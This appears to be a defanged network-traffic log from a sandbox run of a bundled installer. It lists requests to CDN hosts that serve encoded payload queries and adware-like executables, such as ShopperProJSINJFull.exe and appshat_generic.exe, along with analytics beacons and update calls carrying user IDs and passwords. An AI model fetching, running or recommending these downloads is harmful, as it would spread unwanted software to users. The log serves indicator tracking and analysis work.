hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/install.ashx?e=WL9usJOVMsPXmto/P2xI1u cNvWTA7AjrP2/PvNLHquqT87ZizpXK0HDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PLiKIFo3W8f2dhK78JwZANhLABaclESgbf20oOr7zOHjllNfMLKuptyR2G31gFuf02hbuYqdnYR4elHMzi3I9ndbsUN4BYD1D8brniShQ3GQtRzip5AcKg4rWxcpBkHhSQ3kCpSb73om1nmEvUc rydewhrFWYF5Tv0qJ78sIh84amSSgMHjLmQAkaiKC91AannFaQMUFf3agVhnL6oJP/krWxcpBkHhSQ3kCpSb73om1nmEvUc ryfLtaw9zNAybItGWMfwQWPTSZrRYQUgrCCNPc8M0MF2aSGap/Piob7 3hNKfF7td/MHaFSDALbQEatJSUihoFKHreIpBjm0xixL/go ONuEXURH0CKlmst94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjn8XYr3vj6K/6Z9eIrA9uVBxE2itOk8xksTQhEmdgakIJt6fkJEmbrLbA5wX5Xz49P3ZbbTbQM 8w== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/27164.ashx?e=s0jsdppK9OuQVExL/6LI8IwRAVqD4pvV1VMaOJFqXYpm5LT87ehXaouB5vT09TkZPjLUR1sqzj3fFDEx7p39heZkF1/HCKmEvlcum0nVhgGnsJk52TNevbiKIFo3W8f23Wq7IsWCDz4EGVrUzn4iLO K9V0GRRESXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7LD20kz8IksEB9SrNLCYuRKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRD3Vgt 7Mjeke0wFqXi8EY0IrmTwz2ygpW5hLlSagD6ly54KHZ2kVRBjC6QrlIoVQ= 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESmtnRdFSmbGtLnmup1KByvgTxIUcsgQ wP4sPieL6LVh0ElnmuIhy 1QTUZAdlB9AdAHFPMr9sQl41TYDIx2MPav0OaibzPUF3PQwpGKbrsy5MI/JS5m3hd8UMTHunf2F5mQXX8cIqYS Vy6bSdWGAVbWM4H 2PxLjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Low7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWg== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESrStpyyCRN5wE8SFHLIEPsIrbCKwGMe5Y4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr7Nm0VSYuTZTqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1EPdWC37syN6R7TAWpeLwRjQiuZPDPbKClbmEuVJqAPqXLngodnaRVEGMLpCuUihVA== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/yta33_full.exe 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESWOmrCoYyvl0E8SFHLIEPsCOn2ZuaqIYcuCFW/zxMyvvLaPsNuIhxx0d1GAfvnAkXZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FK0JaqM5TfRQn3eTjDgBC/5xMNQnf18CmhWXN/GxlYr5/8hKTHrF/ mQ== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESzzzSAUigcDOBH7l0Cnb62dCUHeR8YCF3HUDXrv0Zk8ASGzXJG4Eokf4VYfpEwhPiF9IEmN/K55fiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXbr7OVwz8YTq8pe8qX5YL00cJg/3mzqkz7KK1WAHRDboZDufEzNKco 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESrStpyyCRN5x7ym41MswgnBQC drCF7eFJhhGzA08OtdpLQcpZ72RD4lZ0Pn9hwbTxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9xE2itOk8xksTQhEmdgakIJt6fkJEmbrLbA5wX5Xz49P3ZbbTbQM 8w== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESgu0rCkTVQ8byyO6Ebs4xmkKABP6K/iqqIBnlKRxyFokkn0XLiH0dH1LtCiNSAKYFu3Kv28u ejWM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUujDtCPA991ZulCrZfCuwzSrrsQ5xaYBAZkqF79EEGZJp27RjISX6Na 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRES0QUWvd/8CeCuYNVGnomyBSmF904v4t2DUn5zsC9NJ U2RbYIv/u4RW6BwwlDhXXzVMPssdyAArGNPv3ifC5kV9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5L Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGr78QLuadMpg= 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESTluBu0Um15ycwQCYXH/7wymF904v4t2DRUWskgMGMEO eufm7MnOBmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhStCWqjOU30UJ93k4w4AQv cTDUJ39fApoVlzfxsZWK f/ISkx6xf/pk= 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRES3IlxQB6eB5Tb5n94HT1KkLPiCC4paVhdcdUGYiS9T3hWvLaCpauVc Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zduvs5XDPxhOryl7ypflgvTRwmD/ebOqTPsorVYAdENuhkO58TM0pyg= 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRES4wR mc1J517JscN vLrCo8MJc2jBTfyiqyYb9Bykje2/uCIFUAhjXasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRD3Vgt 7Mjeke0wFqXi8EY0IrmTwz2ygpW5hLlSagD6ly54KHZ2kVRBjC6QrlIoVQ= 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESXrcF6JOjEJMoETtCpwnRwgjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Low7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWg== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESzPATDFWSxavJscN vLrCo4Wo77DNrKDSv7giBVAIY12rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESS 2X0hFWujhEMg9dhftTco4G r 3F6T7dpypC5B03AEIe3wj/eXUyiL2op//ppvq76DHhyPlPnkPFzD22NQd3rzTwCJRAS6Wd5SlKONgbzyatPS5dHttUZtruOKPKBI3je76xrpUJdpEJAAj4ACHMGtZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FK0JaqM5TfRQn3eTjDgBC/5xMNQnf18CmhWXN/GxlYr5/8hKTHrF/ mQ== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsF7Q 9lY/UdPfFDEx7p39heZkF1/HCKmEvlcum0nVhgH/wyH94MTPgg== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va9X2V/SFN607WhPkLraqHTm0JQd5HxgIXdYj3QXM9Milyo96KQrvxHzFtz73aJdyQ9bIN4IHb61/I99zDfFJLawLwD3 ODJr0uVhwr47TnZkLQYNNeqT3xgVT8ZD/qVCe9n01RYHUcSACo96KQrvxHzFtz73aJdyQ9UcZznl D6wDNXAj82T1dSK Es81YoEWWPG5nIyz2oyU4oSixuLYe bKcP 39NITxafZWAq087najzXAEtZeOtcko2uiNsRA5AuVLaeAArntWhxpjwBSJ8dV1 PcKMtTrG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3ETaK06TzGSxNCESZ2BqQgm3p QkSZustsDnBflfPj0/dlttNtAz7z 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va AW1ilHO0XlqaFGmNQisoEs IILilpWF0xvNRnLf/zkL0gMjSgdVjaBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLAwqTRg0EM0e494A4w6hav IDAjrH/v51ZYEk4c2tqqwRapSzPNpxY20iRlndgoD0 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPvdDLE kFDLYhxZg1qpOAgFszaHxLtpNrnYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuS/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxq /EC7mnTKY 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YPc6IXuGS75LmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhStCWqjOU30UJ93k4w4AQv cTDUJ39fApoVlzfxsZWK f/ISkx6xf/pk= 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=uWabAt9SLcyBuMQa44hX0ICLUderVTK17OXLse4BafTbQC nVTu53mZVsyaCUtL6gqXeieYZsf2494A4w6hav IDAjrH/v51ZYEk4c2tqqwRapSzPNpxY5JPYxSEah4SVR5AawbKoxqRy3/PCMI04GrmNNWY3tq5nbJKYwPfuhCWcSucRpHa5xQC drCF7eFc68xQtOPoFfUGrm1d5TzRzYd0CRAC1t03RQMh2kgHVCeHUcar4A/UqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRD3Vgt 7Mjeke0wFqXi8EY0IrmTwz2ygpW5hLlSagD6ly54KHZ2kVRBjC6QrlIoVQ= 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=obiBp3WOda94HRn2UIUeHkaLWeDUuxNc7OXLse4BafTbQC nVTu53mZVsyaCUtL6gqXeieYZsf2494A4w6hav IDAjrH/v51ZYEk4c2tqqwRapSzPNpxY5JPYxSEah4SVR5AawbKoxqRy3/PCMI04HwlxgVBJ8YiGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3Bk5uyFG9yyJ4mMkepz8MndjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5L Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGr78QLuadMpg= 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=eISsn0A7mAY luBT5UotGDDg90yhWAZu1x5NOexglQ54E7mrr1h80pGhRXiiBAM3/pj4Ga9vJtW/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxs4w9Wm71Kk6mVvO2Kq2gv8U1nnW3RVow kpGM0HsBZ4b GEwPiedNIoPfCrfVvRJhQC drCF7eFcz7 uAJ9xYc2HdAkQAtbdN0UDIdpIB1Qnh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYN4lZcxLy8MCmwsgTCGAfUziyMyEnHNejvIwWNawbTP05KYX3Ti/i3YM1BHIdlrIHvMRqdNksZyqGQlHIOUuUk0D3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAf/DIf3gxM C 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/27164.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYNwxDViRVDOC1YXcJcN2x8HAjq1U t1gQfOJGi8wh2qItjgb6v7cXpPu3mNG2ouchQGAGBAmUlF5unh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYN4lZcxLy8MCmwsgTCGAfUzjxmCcB9WVISvSrmvhzpIGq0JQd5HxgIXeZmmutUZ0P/5KGZ7N/WHCaCHzyr AmlG5QSjSVhgDAFIf3RLuL65mgb49qSg1c16q1wR Xa67k83tC00lsCOkBO4Xoi5PcN r3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAf/DIf3gxM C 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/27164.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYNwxDViRVDOC1YXcJcN2x8HAjq1U t1gQfOJGi8wh2qItjgb6v7cXpPt/0XcjoL3VJQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSwMKk0YNBDNHuPeAOMOoWr/iAwI6x/7 dWWBJOHNraqsEWqUszzacWNtIkZZ3YKA9A== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/ShopperProJSINJFull.exe 198.232.124.192
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/iweb.exe
hxxp://cds.c5z6s5a3.hwcdn.net/spd/shopp/sense9.exe
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYN4lZcxLy8MCmwsgTCGAfUziw6kHnR XV4QBZGQjpShx/0JQd5HxgIXfzJOtUCXhvpF40BjlF1LoxV7dDySv7ML7ib 8lcO8XYbxKtVwphCE/yhsDDHNIJ6TYBMbHlkM59hB5aSy JFSFj0QzTU1 VuG11gCewcGs9DXU3roAfrH04i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl26 zlcM/GE6vKXvKl WC9NHCYP95s6pM yitVgB0Q26GQ7nxMzSnKA== 198.232.124.192
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYN4lZcxLy8MCmwsgTCGAfUzjaaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YMvwCGk4Aft7YzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS6MO0I8D33Vm6UKtl8K7DNKuuxDnFpgEBmSoXv0QQZkmnbtGMhJfo1o= 198.232.124.192
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=4&utmn=998921350&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(youtubeaccelerator)&utmhid=660562213&utmr=-&utmp=Install_Complete&utmht=1430385904028&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~
hxxp://d3i779maf1zmkk.cloudfront.net/images/Tokyo/tokyo_sprite_full.png 54.230.202.110
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.4&utms=5&utmn=1450929333&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Installer_Init&utmht=1430385906360&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://dreejadsuld8c.cloudfront.net/affiliates/filesfrog/eula.html 54.230.201.26
hxxp://54.197.238.106/app/ping.ashx?e=Ka qOJkckoXHjWHokC5IQFf/dc4WSDkFeq10/GADmDBu89fJv3K/CWQ14on7GBy1f82ojUnVmk1jg4jhBREgIvCV4d3G7GmUuX P2xaLa6cCbsn9VEgrCJGhRXiiBAM3/pj4Ga9vJtW/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0QxpEX1CeB9jzaWuHFN9lRYXm3sb/Jc9bi4CY6tkU PjWGlHVWy8T0I6XgvyObhcmYFVDq65iJ/PSima3r97HUBE6rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZ3jd05TL7uAYctfuUzv2erBXl5O1yvgpqzcXCJb OKoR7TAWpeLwRjQiuZPDPbKClbmEuVJqAPqXLngodnaRVGTW1irvSBTC8qwZwxAX4ff
hxxp://54.239.168.110/mirror/nerocrossrider/appshat_generic.exe
hxxp://54.197.238.106/app/ping.ashx?e=QHucCbLl /a3UIXclMT28iZzmvE Kfh261SxT8CFWCUyIvs8NVvu9kXFDxkTgufFt5aWEmvF1lmyibNNhHQuhlcLytsHbFueYCpHZc9ZUaF4PzDsAgk936bK2Q7GGGnWzo/w/HffLEySBOptpYZOhQfOIY6BQRhaqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx215x0dQTpUHkhvkz5AFZHdm287y9tJ6ejh3h8kpng0IpIJ
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=Feo0TQZfu6KMgv8CEawhJiZzmvE Kfh2SzoqkNp86bX8ln8Iap23/wrmOSgIBLqiUA7dl9owwhLbr7OVwz8YTq8pe8qX5YL00cJg/3mzqkz7KK1WAHRDbqQmaO4BxLEPFjCwIjKziMWX1FtTkCv6XI0utKFfGtX02OmSk44xZ7fUh 3ZGDmdW5pZis9f nTdGT OLwKV822Ojv4aucAQOPP8mddpznAdPBRT/3/QFX6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUujDtCPA991ZulCrZfCuwzSrrsQ5xaYBAZkqF79EEGZJp27RjISX6Na 198.232.124.192
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=225905ee-8d98-45f3-9c8f-9c83de3b2ec2&Password=DzlheLoT&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430385910&SBPIDS=1&KA=1 173.239.4.56
hxxp://xqjdaibxl-g48pastf.netdna-ssl.com/4475.ashx?e=2fVCHF6kf8ip2eBShmJaQJL yAYdXN5RADzUgCGENkGMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZ3z9toNSsY8RWOvghCBTr/TdVMo67fxO0s IILilpWF0qsPhrJ4rL5/EiQPnfm1ghMv9wmppQPAcE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsDCpNGDQQzR7j3gDjDqFq/4gMCOsf /nVlgSThza2qrBFqlLM82nFjbSJGWd2CgPQ= 198.232.124.192
hxxp://online.speedbit.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b091727-27e1-4c47-b3f1-08da5080b725&Password=xOjNfrxi&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430385912&SBPIDS=1&KA=1 173.239.4.56
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b091727-27e1-4c47-b3f1-08da5080b725&Password=xOjNfrxi&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430385912&SBPIDS=1&KA=1 173.239.4.56
hxxp://rep.shopper-pro.com/app/ping.ashx?e=LCnUzM5l8JJBYQAernua8KdvklASGFy4PsaMaytXqcH7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lAfnxw7SIWTP24HfyObXx1UdC9oYZcFcASiQud1Q24EcqWLfaltpxWxEermBzJsSMI64eKLyvxa894khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjkZtVgFRKAib1Mzc7WX06R2uPeAOMOoWr/iAwI6x/7 dWWBJOHNraqsEWqUszzacWPaGI OrLsrKau9xWXQx// 54.197.238.106
